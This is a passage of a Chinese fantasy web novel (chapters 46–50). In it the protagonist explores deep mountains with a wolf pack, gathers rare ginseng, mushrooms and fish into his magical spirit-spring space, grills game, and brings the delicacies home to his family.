继续前行，地势渐高。脚下石渠中的水流逐渐汇聚，由星星点点的水渍变成了清晰可辨的潺潺细流。充沛的水汽滋养得两侧草木愈发葱茏茂盛。林间的生灵也愈发活跃：黄羊优雅地跳跃于林间空地，色彩斑斓的山鸡倏忽飞起，野兔在草丛中探头探脑，狍子灵动的身影一闪而过，甚至能瞥见野猪家族在林深处拱食的痕迹。 然而，大青和青狼们无声的存在，如同天然的警戒线。所有动物在察觉到这支队伍靠近的瞬间，无不惊惶四散。它们的奔逃，又如同投入湖面的石子，在林间激起一圈圈更大的涟漪，惊起了更多栖息于深处的飞禽走兽，山林瞬间充满了紧张而灵动的气息。 第四十六章灵泉之变 翻过一处奇特的山坡，友谊大片区域既无参天古木，也无丛生灌木，唯有一片异常茂盛的野草，郁郁葱葱，几乎比周围区域的野草高出一倍有余！ 站在山下的莫天扬，一眼便锁定了这片显眼的区域，心头顿时涌起一阵狂喜——这正是他苦苦寻觅的第四处冰雪融水汇聚点！它将成为未来引水工程的关键节点。 他快步爬上山坡。接近那片茂密草地时，脚下开始变得湿滑泥泞。拨开过膝的野草，只见草丛深处尽是浑浊的泥水，不少地方正汩汩地向外渗出水渍。 他小心翼翼地绕着这片区域探查了一圈，最终在最高处发现了一条涓涓细流正悄然流淌而下。目测这片汇水区域足有三四亩大小，其蕴含的水量让莫天扬精神大振！ 做好标记，他深吸一口清冽的空气，回头望去。来路已被层层叠叠、郁郁葱葱的原始森林彻底淹没，根本辨不清方向。 正当他准备下山继续探寻时，一阵微风吹过，带来一丝若有似无的、水流冲击岩石的轰隆声！莫天扬脚步一顿，猛地抬头，目光锐利地投向古木遮天的更高处。 “大青，跟上！”他招呼一声。 踩着湿滑的泥土，莫天扬费了好大劲才重新钻入不远处的原始密林。沿着那条从汇水区流出的纤细水流，他坚定地向更高海拔的山上攀去。 随着海拔攀升，气温明显降低，空气却更加清冽。令人惊奇的是，林间的植被反而愈发丰富奇异，各种从未见过的奇花异草点缀其中，色彩斑斓。饶是莫天扬小时候常随爷爷进山，此刻也感到目不暇接。 陡然间，不远处传来大青低沉而警惕的吼声。莫天扬心头一凛——这吼声并非遭遇野兽时的威吓，更像是一种发现异常时的示警。 他拄着那根油亮的木棍，循声来到大青身旁。目光扫过大青紧盯的那片草丛，莫天扬的瞳孔骤然收缩！ 只见茂密的草丛深处，赫然挺立着一株植物。它的顶端，簇拥着一团团鲜艳欲滴、宛如燃烧火焰般的朱红色小果实！ “人参！是野山参！”莫天扬的心脏狂跳起来，一股难以言喻的激动瞬间席卷全身。 野生人参本就凤毛麟角，而眼前这株，仅看那十几簇饱满的果实，就绝非十年八年的凡品！ 他强压着几乎要冲破胸膛的狂喜，屏住呼吸，小心翼翼地拨开周围的杂草。展露在眼前的景象，让他连手指都微微颤抖起来——那参株的主干竟有孩童胳膊般粗壮，其上生长的复叶层层叠叠，细数之下，竟有上百片之多！ 花茎、叶片、果实……无论从哪个特征判断，这都绝对是一株生长了百年以上的旷世奇珍！二十年分的野山参已是天价，何况这百年老参？它足以让任何人一夜暴富！ 莫天扬深吸几口气，强迫自己冷静下来。他抽出随身携带的小刀，如同进行一场神圣的仪式，开始极其小心地拨开周围的泥土，每一刀都带着难以言喻的虔诚…… 时间仿佛凝固。足足半个小时后，一株形态完整、须根虬结如龙的老山参，终于完整地呈现在他手中。那肥硕的主根足有成人巴掌大小，而垂下的参须，竟长达一米有余！ 莫天扬屏息凝神，再次深深吸气，仿佛要将这天地精华都吸入肺腑。他无比珍重地用双手托着这大自然的奇迹，轻轻拍了拍大青硕大的头颅，声音带着激动后的沙哑：“好样的，大青！” 大青亲昵地用大脑袋蹭了蹭他。莫天扬畅快一笑，心念电转，瞬间将这无价之宝送入了灵泉空间——他绝不容许任何闪失破坏了这株完美的百年老参。 就在他收拾心情，准备继续追寻那水流轰鸣声时，胸口那神秘的印记突然传来一阵灼热！莫天扬猛地一怔——这是灵泉空间发生剧变的征兆！可这人参刚放进去…… 他警惕地扫视了一眼身边的青狼，又环顾四周密林。心念急转，他毫不犹豫地将大青和另外几头青狼也一同送入了灵泉空间。 一进入空间，眼前的景象让莫天扬瞬间瞪大了眼睛！ 此刻的灵泉空间，已然是另一番天地！水域之中巨浪滔天，翻涌不息，发出震耳欲聋的轰鸣！原本灰蒙蒙的上空此刻剧烈地翻滚涌动，如同沸腾的云雾。 最令人惊异的是，空间边缘那永恒不变的灰雾边界，此刻正剧烈地扭曲、扩张，隐隐透出令人心悸的变化！ 经历过空间初次巨变的大青，眼中非但没有恐惧，反而充满了激动与期待。它冲着略显不安的其他青狼低低呜咽了几声，仿佛在安抚。几头青狼感受到空间中弥漫的奇异能量，眼中的恐慌渐渐平息，竟本能地匍匐下来，贪婪地汲取着这沛然的生机。 莫天扬此刻却无暇顾及狼群的变化。他的心思全在空间泡沫板上的物品，以及一个巨大的疑问：这突如其来的空间剧变，难道真是因为那株刚放进去的百年老山参？ 水域中央，承载着物品的泡沫板在惊涛骇浪中剧烈起伏。幸运的是，它被“固定”在九彩荷莲附近，这片区域似乎受到某种力量的庇护，风浪相对平缓许多。板上的山鸡、野兔安然无恙，但那卷巨大的黄芪却已松散开来，有一截根须垂落，浸泡在翻涌的灵泉水中。而那株百年老山参，主体虽还在泡沫板上，长长的参须却已垂入水中，正随着水波轻轻摇曳…… 爬上泡沫板，莫天扬的目光瞬间被牢牢吸引！ 那根巨大的黄芪，此刻竟以肉眼可见的速度发生着变化！原本粗糙的外皮变得斑驳，仿佛在蜕去旧壳，整根黄芪都隐隐粗壮了一圈。更令人惊奇的是，先前被他折掉的枝叶断口处，竟重新萌发出了翠绿欲滴、生机勃勃的新芽！ 而那株百年老山参的变化更是惊人！顶端那簇簇朱红的果实，此刻色泽变得深沉而纯粹，如同凝固的火焰，又似一颗颗晶莹剔透的红宝石，在灵泉空间的微光下流转着诱人的光泽。最不可思议的是那些参须！原本细如毛发，此刻竟如活物般缓缓蠕动、增粗，最粗壮的一根，赫然已有筷子般粗细，透着一股坚韧的生命力！ “灵泉之水……竟有如此夺天地造化的伟力！”莫天扬心中剧震。眼前黄芪与老山参仅仅沾染了些许灵泉之水，便已脱胎换骨，这无疑证实了空间此次剧变，正是由这株百年老参引发！ 震撼之余，一个念头如同闪电般劈开他的思绪，瞬间照亮了前路！ 在科技飞速发展的今天，水培种植技术早已成熟，甚至在发达地区开始推广。只是高昂的投入，让真正能建立起大规模水培基地的人凤毛麟角。 可眼前这一幕，彻底颠覆了他的认知！灵泉水对植物的滋养效果，何止是普通营养液的千百倍？如果……如果将这神奇的灵泉空间，打造成一个独一无二的“水培秘境”呢？ 利用水培的原理，在这片充满灵气的空间里种植蔬菜瓜果！外面那几十亩菜地，就是绝佳的掩护！灵泉空间中产出的、蕴含奇异能量的蔬果，其品质和价值，岂是凡品可比？这简直是……一条铺满了黄金的康庄大道！ 这个想法一旦萌生，便如燎原之火，瞬间点燃了莫天扬的所有热情。它清晰、可行，而且……近在咫尺！巨大的喜悦如同暖流般冲刷着他的四肢百骸，连日奔波的疲惫一扫而空。 胸中豪情激荡，他再无半分犹豫。利落地脱下那件神秘的古旧坎肩和外衣，露出精壮的身躯。随即，他赤条条地、带着一种近乎朝圣的虔诚，纵身跃入那翻涌着沛然生机与神秘能量的灵泉之中！ 清凉又温润的泉水瞬间包裹全身，每一个毛孔都仿佛在欢呼雀跃，贪婪地汲取着这天地间至纯至粹的生命精华。莫天扬闭上眼，任由身体在这神奇的泉水中沉浮，感受着力量与活力源源不断地注入四肢百骸。这一刻，他仿佛与这片神秘的空间融为一体。 第四十七章青木山的馈赠 当莫天扬带着大青和狼群重返现实世界，一股难以言喻的清爽感瞬间充盈四肢百骸。灵泉空间的滋养，仿佛洗去了他所有的疲惫，留下一种前所未有的、透彻心扉的舒泰。 他目光扫过身边的伙伴。大青依旧沉稳如山，看不出明显变化。但那几头青狼的变化却令人侧目！它们的皮毛油光水滑，在透过林叶的阳光下，竟隐隐流动着一层淡淡的青色光晕，透着一股野性而灵动的气息。 “呜……”几头青狼低低呜咽着，望向莫天扬的眼神充满了人性化的感激与亲近。 莫天扬微笑着，抬手在它们厚实的肩背上轻轻拍抚：“走吧，继续探路。” 出乎意料的是，大青和狼群并未立刻前行。它们冲着莫天扬发出几声急促而低沉的吼叫，像是在传达什么。随后，大青率先转身，径直走向不远处一株横卧在地的巨大枯木。 “还有发现？”莫天扬心头一动，快步跟上。 来到枯木前，眼前的景象让他呼吸一滞！ 只见那腐朽的树干上，密密麻麻地生长着无数巴掌大小的野生木耳！它们形态完美，肉质肥厚，色泽呈现出一种深邃、纯粹、近乎黑曜石般的乌亮，在幽暗的林间光线下，如同点缀在朽木上的神秘宝石，鲜艳欲滴！ 对于青木山下的村民来说，采摘木耳、蘑菇曾是赖以生存的技能。但在土地日益荒芜、青壮离乡的今天，这种充满风险的山林采集早已无人问津。 前几日饭桌上，陈宏利还念叨着想采蘑菇，可谁都知道，没有雷雨，不过是奢望。谁能想到，在这深山之中，竟藏着如此罕见且品质绝佳的野生木耳！ 天赐之物，岂能错过？更何况，灵泉空间那神奇的水域，正是保存这些山珍的绝佳之地！ 半个小时后，那些最大、最饱满的“黑宝石”已被尽数送入灵泉空间。看着枯木上还残留着许多尚在生长的小木耳，一个念头在莫天扬心中萌发。 他在周围仔细查看了一番地形和湿度，随即从空间取出那把锋利的砍刀。这片区域因冰雪融水浸润，极为潮湿，枯木早已腐朽不堪。加上灵泉空间带来的体质蜕变赋予了他惊人的力量，砍刀挥动间，坚韧的朽木应声而裂。 “咔嚓！咔嚓！” 沉闷的劈砍声在林间回荡。数十分钟后，巨大的枯木被分解成了十几段。莫天扬将一段段朽木接连送入空间。 然而，如此高强度且持续动用空间之力，消耗远超他的预估。当最后一段朽木消失的瞬间，一股强烈的虚脱感猛然袭来，他眼前一黑，整个人如同被抽掉了骨头般，重重瘫软在潮湿的林地上。 他挣扎着取出灵泉水猛灌几口，又原地喘息了四十多分钟，那股令人心悸的脱力感才缓缓退去。看着地上散落的碎木屑和残留的树皮，莫天扬苦笑着摇摇头，暗道下次不可如此鲁莽。 稍作休整，他再次踏上征途。翻过一道陡峭的山梁，那水流冲击岩石的轰鸣声愈发震耳欲聋！莫天扬站在高处俯瞰，只见山梁上汇聚的溪流水量已然不小，但绝大部分水流都奔腾着涌向了山梁的另一侧，能分流到他来时方向的，恐怕连八分之一都不到。 他沿着水流奔涌的方向继续前行，心中一个引水工程的雏形渐渐清晰：若要引水入村，此处必是关键的水源节点之一！ 穿过一片更为古老的密林，眼前豁然开朗！一座被群山环抱的幽深山谷出现在视野尽头。轰鸣的水声正是从谷口传来，此刻汇聚的水流已壮大为一条真正的潺潺溪流，欢腾着奔涌而出。 溪流两岸，是广阔而丰美的草甸！成群的黄羊悠闲地啃食着青草，灵动的狍子在其间跳跃，色彩斑斓的山鸡时而飞起，野兔在草丛中探头探脑……好一幅生机盎然的画卷！ 然而，莫天扬和狼群的身影刚一出现，这片宁静瞬间被打破！所有的生灵如同受惊的潮水，眨眼间便消失在茂密的草甸和林木深处，只留下窸窣的声响和晃动的草叶。 莫天扬深吸一口饱含草木清香和水汽的湿润空气，震撼地回望身后那莽莽苍苍、仿佛隔绝了尘世的古老山林。他心中充满了惊叹：真没想到，在这青木山脉深处，竟还隐藏着如此一片生机勃勃、宛如世外桃源般的秘境！这里的生态之繁茂、水源之丰沛，远比他之前走过的任何地方都要优越太多！ 脚踏着松软厚实的草甸，莫天扬心中感慨万千。山下的故乡饱受荒凉侵蚀，谁曾想，这青木山脉的深处，竟藏着如此一片生机盎然的失落秘境！ 忽然，脚下一个趔趄，似乎被什么柔软的东西绊了一下。他低头看去，瞳孔瞬间放大，一抹难以置信的狂喜涌上心头！ 就在他的脚边，茂密的草甸之中，赫然铺展着一片莹白！那是一朵朵碗口大小、通体雪白如玉的蘑菇！它们形态完美，菌盖圆润饱满，在透过林隙的光线下，仿佛凝固的月光，散发着一种纯净而清冷的微光。 “雪灵菇！是雪灵菇！”莫天扬的心脏剧烈地跳动起来，一股难以言喻的激动瞬间席卷全身。 雪灵菇，青木山脉传说中的稀世珍菌！即使在物资相对匮乏的年代，一斤雪灵菇也足以换取一家人一天的口粮！ 莫天扬幼时曾随爷爷采到过几次，那鲜甜绝伦的滋味至今萦绕在记忆深处。后来爷爷年迈不再进山，这山珍便成了只存在于回忆中的珍馐。 “发达了……这次真的发达了！”巨大的惊喜让莫天扬声音都有些发颤。他立刻蹲下身，双手如同最温柔的采撷者，小心翼翼地将一朵朵“白玉”摘下。没有容器？心念所至，这些珍贵的雪灵菇便直接消失在空气中，安然落入灵泉空间那神奇的水域。 时间在专注的采集中流逝。一个多小时后，莫天扬自己都数不清摘了多少朵，可环顾四周，草甸上依然星罗棋布地点缀着片片莹白。 看着这仿佛取之不尽的宝藏，他虽有不舍，但想到灵泉空间泡沫板的容量终究有限，最终还是克制住了贪婪的念头。他直起身，深吸一口气，目光投向草甸尽头那幽深的山谷入口——那轰鸣水声的源头！ 当他真正踏入山谷的那一刻，眼前的景象让他如同被施了定身咒，瞬间僵立在原地！ 山谷不大，约莫十来亩见方，却宛如被群山精心呵护在掌心的一块瑰丽宝石！就在刚才，这里还是一片生机勃勃的乐园：成群的黄羊悠闲地啃食着丰美的牧草，几头壮硕的野猪带着幼崽在泥潭边拱食，数不清的山鸡、野兔在草丛间跳跃嬉戏，更有许多羽色艳丽、鸣声清越的奇异鸟类，在树梢和草地上灵动地穿梭——这些鸟儿，莫天扬竟大半都不认识！ 然而，最让他心神剧震的，是山谷尽头那震撼灵魂的景象！ 谷底深处，赫然镶嵌着一泓深不见底的碧潭！潭水幽深，呈现出一种沉静的墨绿色。一条气势磅礴的银白瀑布，如同九天银河倾泻，从云雾缭绕的百丈绝壁顶端狂泻而下！巨大的水流裹挟着万钧之力，狠狠撞击在下方嶙峋的墨色岩石上，发出震耳欲聋、撼动心魄的轰鸣！激起的漫天水雾，在阳光折射下形成一道若隐若现的七彩霓虹。 莫天扬震撼地抬头，目光竭力穿透瀑布顶端弥漫的水汽和环绕的云雾。在那朦胧的绿色山巅之上，他似乎瞥见了一片连绵起伏、刺目的……白色？那是……积雪？还是冰川？ 溢出的潭水，在谷底汇成一条清澈而有力的溪流，欢腾着、蜿蜒着，穿过丰饶的草甸，奔涌出山谷，流向山下干渴的土地。 他们这群不速之客的到来，如同投入平静湖面的巨石，瞬间打破了山谷亘古的宁静！刚才还悠然自得的生灵们，此刻如同遭遇了灭顶之灾！黄羊群发出惊恐的嘶鸣，野猪带着幼崽仓惶撞入密林，山鸡野兔四散飞窜，奇异的鸟儿惊叫着冲天而起…… 仅仅几分钟，热闹的山谷变得一片死寂，只剩下震耳欲聋的瀑布轰鸣。只有远处草丛和林木间，无数双惊惶警惕的眼睛，在暗处死死盯着这群闯入圣地的入侵者。 第四十八章山谷幽潭 深潭边，凛冽的寒气扑面而来，让莫天扬不禁打了个寒噤。他蹲下身，掬起一捧刺骨的潭水，心中满是讶异——如此冰冷彻骨的水，竟能滋养出谷中那片生机勃勃的丰美草甸！ 倏地，不远处的水面“哗啦”一声巨响，一条体长超过一米、鳞片斑斓的大花鲢猛地跃出水面，带起一片晶莹的水花！ “这么冷的潭水里……竟然有鱼？！”莫天扬着实吃了一惊。 短暂的惊愕后，他迅速冷静下来。虽然近期在灵泉空间里学会了游泳，但这深潭冰冷如窖，他可没胆量贸然下水。 自己下不去，却按捺不住对潭中生灵的好奇。正思索间，青狼的嘶吼声传来。莫天扬转头，看见一头青狼叼着一只刚捕获的野兔。他灵光一闪，嘴角勾起一抹笑意。 他将手缓缓浸入冰寒的潭水中，心念微动，一丝丝蕴含奇异生机的灵泉水，悄然从指尖渗出，融入深潭。 奇迹发生了！ 不到两分钟，原本平静如墨玉的深潭水面，骤然沸腾般翻涌起大片大片的白色水花！仿佛受到某种无形的召唤，成群的鱼影从幽暗的深处汇聚而来，密密麻麻地朝着莫天扬手的方向涌来！ 莫天扬瞳孔骤缩！随着鱼群靠近浅水，他看清了：熟悉的鲤、草、鲢、鳙……每一条都体型硕大，远超寻常！最大的一条青鱼，体长几近两米，如同水下的幽灵！就连常见的鲫鱼，也条条超过一斤，肥硕异常！ 这些鱼的外形虽与市面上的同类相似，但鳞甲色泽却异常深邃、厚重，隐隐泛着金属般的光泽，竟与灵泉空间里那些奇异的鱼儿有几分神似！ 更令他心跳加速的是鱼群中混杂的几种陌生面孔！有两种鱼他从未见过：一种身形细长如柳叶，通体闪烁着冰冷的银光，头部尖小；另一种则覆盖着淡金色的鳞片，纺锤形的身体线条流畅有力。他伸手想去触碰，鱼儿却异常滑溜，总能从他指缝间灵巧逃脱。 “有意思！”莫天扬眼中精光一闪，毫不犹豫地从灵泉空间取出那个特制的大水桶。他看准鱼群最密集处，猛地将桶沉入水中！ “哗——” 水花四溅！提起来时，桶里已是满满当当，各色鱼儿噼啪乱跳，活力十足！他心念一动，直接将这桶“收获”送入空间。如此往复数次…… 虽然无法确定那几种陌生鱼类是否已被捕获，但胸前印记传来的持续灼热感，给了他答案——灵泉空间再次被新物种激活，开始了它神秘的演化！ 他又专门瞄准那两种奇异的银鱼和金鳞鱼，多盛了几桶。感觉十拿九稳后，正准备收手起身，目光却被一片浅水滩牢牢吸住！ 那片水底，竟铺着一层耀眼的金黄！定睛细看，那是一只只碗口大小、甲壳如同熔炼黄金铸造而成的螃蟹！它们横行霸道，威风凛凛。而在蟹群之间，更夹杂着许多体型惊人、形态古怪的青色大虾，足有成人巴掌大小，挥舞着长长的螯足！ “老天！”莫天扬倒吸一口凉气，巨大的惊喜瞬间淹没了他！哪里还顾得上疲惫，立刻化身最贪婪（也最快乐）的渔夫，水桶再次挥向这片“黄金滩涂”！ 又过了半个多小时，莫天扬彻底瘫坐在潭边，累得气喘吁吁。水桶起起落落，天知道他往空间里塞了多少鱼、多少虾、多少蟹！胸前的印记烫得惊人，空间对新物种的渴望似乎永无止境。 “大青，警戒！”他哑声吩咐了一声，再也支撑不住，心念一动，瞬间消失在原地，遁入那正在经历剧变的灵泉空间。 这一次的空间变化，虽不如百年老参引发的天翻地覆，却也非同小可！水域不再平静，无数浪头凭空涌起，激烈地相互拍打。整个空间都在“呼吸”——灰蒙蒙的上层空间翻涌不息，边缘那永恒不变的浓雾边界，正剧烈地扭曲、鼓胀，仿佛随时要撕裂开来，拓展向未知的远方！ 莫天扬无心细究，疲惫感如潮水般袭来。他直接沉入温暖的灵泉水中，任由那神奇的能量包裹、渗透，滋养着每一寸酸痛的筋骨…… 不知过了多久，空间的震动终于平息。莫天扬睁开眼，神清气爽，疲惫一扫而空。他浮出水面，环顾四周，心中震撼不已！两次巨变之后，灵泉空间的范围已变得难以估量，那灰雾的边缘，仿佛远到了天边！ 他的目光落在九彩荷莲附近的水域。眼前的景象让他激动得几乎屏住呼吸！那些被他送入空间的枯木段，此刻如同被施了魔法！每一段朽木之上，都密密麻麻地生长着无数巴掌大小的黑木耳！它们饱满、厚实，通体晶莹剔透，在空间柔和的光线下，如同镶嵌在朽木上的黑曜石，散发着温润而神秘的光泽！ “成了！真的长出来了！”莫天扬欣喜若狂。这些枯木在灵泉空间里，俨然成了取之不尽的珍馐之源！ 他深吸一口气，潜入清澈的水域深处。成群的鱼儿在他身边悠然游弋，其中果然混杂着那奇异的银光鱼和淡金鳞鱼，数量虽不多，但生机勃勃。他得以近距离仔细观察：银光鱼身形流畅如刃，通体闪烁着冷冽的金属银辉；金鳞鱼则覆盖着阳光般的淡金色鳞片，纺锤形的身体充满力量感。这两种鱼，完全超出了他的认知。 他又游向水底。金黄色的螃蟹和青色的怪虾数量明显增多！更让他惊喜的是，在它们周围，还活跃着许多米粒般大小、刚刚孵化出来的小螃蟹和小虾苗！显然，在灵泉空间神奇力量的催化下，这些新物种已经开始繁衍生息！ 莫天扬精神奕奕地离开空间，重返山谷。眼前的景象却让他微微一怔：不远处，竟堆起了一座小山般的“战利品”！一只肥硕的黄羊、十多只羽毛斑斓的山鸡和野兔，甚至……还有一头体态优美的梅花鹿！ 他不由得摇头苦笑。自己不过在空间里待了一阵子，这群家伙竟猎获了如此丰盛的野味！灵泉空间那泡沫板早已不堪重负，哪里还塞得下这么多？ “呜……”大青发出一声低沉而清晰的吼叫，莫天扬瞬间领会——它饿了。他抬头望向被树冠切割的天空，阳光早已西斜。掏出手机一看，已是下午三点多。 深吸一口山林间清冽的空气，莫天扬的目光落向幽深的潭水。不再犹豫，他利落地拖过那只黄羊，抽出随身小刀，开始熟练地剥皮、清理内脏…… 一个多小时后，皮毛和内脏已被他深埋地下。处理干净的黄羊、山鸡、野兔和梅花鹿肉被妥善收进空间。他招呼大青和狼群：“走了，找个地方犒劳你们！” 再次下到山谷边缘，莫天扬寻到一处林木稀疏、相对开阔的平地。他将准备烧烤的山鸡、野兔和几条肥美的黄羊腿、梅花鹿腿取出，细细抹上带来的盐巴和香料腌制入味。随后，他手脚麻利地收集了一大堆枯枝败叶，堆叠起来，点燃了篝火。 “噼啪！” 火焰腾起，浓烟滚滚。天性使然，青狼们立刻警惕地退到远处，焦躁不安地低呜着。莫天扬无奈地笑了笑，火，终究是刻在它们骨子里的恐惧。 他用粗壮的湿树枝将山鸡、野兔串好，又在火堆两侧稳稳地插上几个结实的树杈支架。待浓烟散尽，篝火燃烧成稳定的橘红色炭火时，莫天扬将串好的野味和硕大的鹿腿、羊腿架了上去。 不过片刻功夫，浓郁的肉香便霸道地弥漫开来，钻入鼻端。莫天扬深深吸了一口，忍不住点头——纯正的野生风味，那股原始而醇厚的香气，远非市售的饲料禽畜可比！ “滋啦——” 金黄色的油脂从焦脆的表皮渗出，欢快地滴落在炽热的炭火上，瞬间化作更加浓烈、更加诱人的焦香！莫天扬从怀中那件古朴的坎肩口袋里掏出准备好的秘制香料粉，均匀地、仔细地涂抹在每一块滋滋作响的肉上。 他耐心地翻烤着，一遍遍刷上油脂和香料。渐渐地，整片林间空地都被这令人垂涎欲滴的肉香彻底笼罩…… 起初远远躲着的青狼们，终究抵挡不住这致命的诱惑。它们小心翼翼地靠近，最终趴在离火堆不远的地方，眼睛死死盯着那旋转的烤肉，喉咙里发出压抑的“咕噜”声，晶莹的口水顺着嘴角滴落在草地上。 第四十九章银刀、黄鳞、金膏、鬼面 当莫天扬再次抬头望向狼群时，他的动作猛地顿住，瞳孔微微一缩——不知何时，大青的身边，竟然悄无声息地聚集了十几头陌生的青狼！它们或站或卧，绿幽幽的眼睛全都聚焦在火光跳跃的烤架上，场面既壮观又带着一丝原始的压迫感。 莫天扬心中暗凛，若非有大青它们坐镇，自己独自一人在此烤肉，恐怕早就成了群狼的盛宴。 看着那群眼巴巴、口水直流的“食客”，莫天扬估算着烤肉的火候已到七八分。他将几只烤得金黄酥脆的山鸡、野兔和一条滋滋冒油的黄羊腿取下，抽出小刀，麻利地分割成大块，然后用力抛向狼群聚集的方向。 接下来的一幕，让莫天扬颇感惊讶。大青威严地站起身，低吼了一声，如同一位严格的监工。原本可能发生的争抢并未出现。每一头青狼——无论是原本跟随的，还是新加入的——都极其守序地上前叼走一大块肉，然后迅速退到远处，各自安静而满足地大快朵颐。 时间在烟火与肉香中流逝。直到夕阳的余晖将西边的天空染成橘红（约莫下午七点多），莫天扬已经不记得自己烤了多少轮。空间里储备的山鸡野兔早已告罄，硕大的黄羊和梅花鹿也只剩下最后两条腿。这场盛大的“狼群烧烤宴”，才终于喂饱了二十多张贪婪的嘴。 莫天扬自己也早已饥肠辘辘。他将特意为自己留下的一只烤得恰到好处、皮脆肉嫩的山鸡取下。金黄油亮的表皮散发着无法抗拒的香气。他撕下一只还烫手的鸡腿，狠狠咬了一大口！ 瞬间，极致的鲜美在口腔中爆炸开来！山鸡肉特有的紧实与野性的芬芳完美交融，混合着焦香和秘制香料的味道，形成一种他多年未曾体验过的、直击灵魂的味觉震撼！莫天扬满足地眯起了眼，几乎要怀疑自己的舌头是否还在——这味道，太不真实了！ 饱餐一顿，腹中暖意融融。莫天扬抬头望去，天边最后一抹橘红的晚霞也已沉入山峦。手机屏幕微光显示：七点半已过。 他利落地起身，从灵泉空间中取出背包，将里面备用的方便面等耐储存的干粮仔细寻了个隐蔽处藏好。 “大青，走，咱们回家！” 青木村地处西北，白昼悠长。然而，当莫天扬和大青的身影终于出现在村口时，深邃的夜空中早已是星河璀璨。 看着狼群默契地散开，在菜地周围各自寻了地方休憩，莫天扬这才松了口气，转身看向大院。 不多时，那根包浆油亮的木棍已化作扁担，沉沉地压在肩上——一头挑着硕大的黄羊腿、梅花鹿腿，以及一个鼓鼓囊囊、水汽氤氲的大袋子，里面是活蹦乱跳的四种奇异鱼苗、金黄的螃蟹和青色怪虾。 另一头则是几大袋雪白如玉的雪灵菇，外加几条成人手臂长的没见过的鱼，还有一网兜沉甸甸的螃蟹、大虾。 临时餐厅里，正吃着晚饭的曹勇等人，被大青熟悉的低吼惊得一怔，随即反应过来，纷纷放下碗筷冲出门外。大青回来了，天扬肯定也平安无事！ 待看清院中情景，众人又是一愣！只见莫天扬几乎被前后挂满的大袋子“淹没”，只露出半个身子。 “天扬？”陈宏利试探着喊了一声。 “快！过来搭把手！”莫天扬的声音从袋子后面传来，带着一丝喘息。 众人这才回神，七手八脚地帮忙卸下沉重的“战利品”。莫天扬则小心翼翼地提起那个装着活物的水袋，沉声道：“你们先把这些拿进去，我得赶紧把这些鱼苗蟹苗放进池塘，晚了怕不精神。” “嚯！这……这都是啥宝贝啊？”胡标盯着地上形态各异的鱼虾蟹，眼睛都直了。 莫天扬咧嘴一笑，神秘地眨眨眼：“嘿嘿，山里弄的，绝对是好东西！”说完便快步走向池塘。 将鱼蟹苗连同灵泉空间中特意多取的一些成鱼、大虾一同放入池塘后，莫天扬才回屋匆匆洗了把脸，换了身干净衣服。 等他回到临时餐厅，发现大家都没心思吃饭了，全都围在那些带回来的山珍水鲜旁，啧啧称奇，目光在雪灵菇和那几种前所未见的鱼虾蟹之间来回扫视，脸上写满了惊叹。 “天扬，我的老天爷！你从哪儿搞来这么多雪灵菇？”曹勇指着那几大袋洁白如雪的菌子，声音都拔高了。 “在一处背阴潮湿的山坳里发现的，运气好。”莫天扬轻描淡写。 他转向一直沉默观察的爷爷莫啸，指着那银光闪闪的柳叶鱼、金鳞闪耀的纺锤鱼、黄金甲壳的螃蟹和青面獠牙的大虾：“爷爷，您见多识广，认得这几样吗？” 莫啸原本有些浑浊的眼眸骤然精光一闪，他缓缓走上前，枯瘦的手指轻轻拂过冰凉的鱼身和坚硬的蟹壳，声音带着一丝不易察觉的激动。 “认得……如何不认得！这柳叶银身的，是‘银刀’；这金鳞披甲的，是‘黄鳞’；这金甲螃蟹，叫‘金膏蟹’；至于这青面獠牙的怪虾，便是‘鬼面虾’了。” “银刀？黄鳞？金膏蟹？鬼面虾？！”胡标、曹勇、陈峰这几个年岁稍长的，几乎是异口同声地惊呼出来，脸上瞬间布满了难以置信的震撼！ “莫叔，您……您说的是真的？！这可都是青木山传说里的顶级珍品啊！”胡标声音发颤，“早年间，能见到其中一种的都是凤毛麟角！听说随便捞上一斤，搁过去都能换十两雪花银！” 莫天扬闻言，瞳孔猛地一缩，震惊地看向爷爷。 莫啸深深地点了点头，苍老的声音带着一种穿透岁月的笃定：“没错，就是它们。和雪灵菇一样，都是青木山深处才有的稀罕物，滋味之鲜美，堪称天物。只是……”他顿了顿，目光投向深邃的群山，“它们栖息的地方，多在深山老林、猛兽环伺的险恶之地，寻常人根本难以企及，这才显得……价比黄金！” 说完这话，莫啸看向莫天扬，“你……” 莫天扬当然明白爷爷的意思，他淡淡一笑，“爷爷，我这不是进山主要是想要找到标叔他们所说的那几处水源，运气挺好，找到了四处，在找寻源头的时候看到一个水潭，并没有走的太深，要不然这一天时间能走个来回。” “深潭？” “都是冰雪融水，那里面有野猪群，也是有大青和青狼，才将他们驱散。” 莫啸几个听莫天扬这一说，他们下意识看向正在和小白嬉闹的大青，都长出口气，他们还真的忽略了大青，别人不能过去的地方，有大青在还真的有可能办到。 “天扬，这走了一天，饿了吧，先吃饭。” 莫天扬嘿嘿一笑，“这一天，大青带着青狼可是捕猎到不少野味，十几只山鸡、野兔，一头黄羊、一头梅花鹿，回来之前全被他们吃了，我吃了一只烤山鸡。” “那么多，那的多少青狼？” “二十多只吧，也是有他们，我才能找到那一处深潭。” “我就说你从哪里弄了两条腿。” 莫天扬哈哈一笑，“大家伙吃，我去菜地看看。” “天扬，明天将银刀、黄鳞这些拿出去卖了吧，这么多肯定能卖个好价钱。” 莫天扬摆了摆手，“这东西在过去都是珍品，现在有动物保护法，这些都是濒危物种，拿出去卖的话，我还不得被抓进去，咱们留着自己吃。” 第五十章山珍美味 莫天扬素来低调内敛。即便如今身家渐丰，雇佣了二十多位村中老人种菜，也从不张扬。他每日的活动范围，大多限于院外那片菜地。因此，他此次进山的消息，村里知晓的也仅有胡标、曹勇等寥寥数人。 次日中午，临时餐厅内的气氛却一反常态。不仅胡标、曹勇等人坐立不安，就连向来最为沉稳的莫啸老爷子，也不时抬眼望向厨房门口，眼底藏着不易察觉的期待。 终于，一股难以言喻的奇异香气，如同有形之物，悄然弥漫了整个空间。所有人都不由自主地深吸一口气，仿佛要将这勾魂摄魄的芬芳尽数纳入肺腑。莫啸浑浊的眼眸微微一亮，一丝深藏的欣慰悄然掠过。 厨房门帘掀开，一道道凝聚了山野精华的珍馐被端了上来： 清炖银刀鱼：汤色清亮如泉，鱼肉莹白如玉，仅几片嫩绿点缀，却散发着最原始的鲜甜。 清蒸金膏蟹：黄金甲壳下，饱满的蟹膏如同凝固的阳光，热气蒸腾中，鲜香霸道四溢。 蒜蓉鬼面虾：青黑色、略显狰狞的虾身覆盖着金黄的蒜蓉，奇异的香气混合着海洋的气息。 